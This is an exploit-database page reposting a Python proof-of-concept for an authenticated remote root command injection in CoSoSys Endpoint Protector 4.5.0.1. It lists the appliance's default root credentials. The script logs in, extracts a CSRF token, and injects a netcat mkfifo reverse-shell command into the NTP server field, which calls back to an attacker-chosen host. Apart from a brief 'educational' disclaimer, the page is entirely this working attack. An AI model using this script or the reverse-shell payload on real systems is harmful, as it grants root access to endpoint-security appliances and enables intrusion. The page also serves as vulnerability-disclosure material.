Cososys endpoint protector 4.5.0.1 (authenticated) remote root command injection Vulnerability / Exploit

  /     /     /  

Exploits / Vulnerability Discovered : 2018-08-02 | Type : webapps | Platform : php
This exploit / vulnerability Cososys endpoint protector 4.5.0.1 (authenticated) remote root command injection is for educational purposes only and if it is used you will do on your own risk!

---

[+] Code ...

# Title : CoSoSys Endpoint Protector - Authenticated Remote Root Command Injection
# Date : Vulnerability submitted in 01/12/2017 and published in 01/08/2018
# Author : 0x09AL
# Tested on : Endpoint Protector 4.5.0.1
# Software Link : https://www.endpointprotector.com/
# Vulnerable Versions : Endpoint Protector <= 4.5.0.1
# Endpoint Protector suffers from an authenticated command injection vulnerability. By default the username and password are : root:epp2011
# In the Appliance Tab , Server Maintenance the NTP Server field is vulnerable to command injection. There is a call to sh -c {NTP Server field} which is not validated. Attached is the exploit which does this automatically.
# The command may take a while to execute.

import requests
exp = requests.session()
user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0'


username = 'root'
password = 'epp2011'

host = 'x.x.x.x.x'
rev_host = 'x.x.x.x'
rev_port = '443'

r = exp.post('https://%s/index.php/login' % host,data={'username':username,'password':password,'login':'Login'},verify=False)

shell = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc %s %s >/tmp/f' % (rev_host,rev_port)

payload = '&& %s' % shell
print payload
if(r.text.find("Welcome Guest")>0):
print "[-] Incorrect credentials [-]"
else:
print "[+] Logged in successfully [+]"
r = exp.get('https://%s/index.php/appliance/maintenance' % host,headers={'X-Requested-With': 'XMLHttpRequest'},verify=False)
if(r.text.find("csrf")>-1):
print "[+] Getting CSRF Token [+]"
csrf_token = r.text.split('value="')[1].split('">')[0]

print "[+] Token: %s [+]" % csrf_token
post_data = {
'csrf_token' : csrf_token,
'continent' :'Europe',
'region' :'Berlin',
'timeSetting[ntpserver]' : payload,
'timeSetting[timesync]' :'12'
}
r = exp.post('https://%s/index.php/appliance/timezone' % host,data=post_data,headers={'X-Requested-With': 'XMLHttpRequest','Referer': 'https://%s/index.php/' % host},verify=False)
print "[+] Sending exploit [+]"

if(r.text.find("nc")>-1):
post_data = {
'ntpserver': payload,
'continent' :'Europe',
'region' :'Berlin'
}

r = exp.post('https://%s/index.php/appliance/timezone' % host,data=post_data,headers={'X-Requested-With': 'XMLHttpRequest','Referer': 'https://%s/index.php/' % host},verify=False)
print "[+] Exploit success [+]"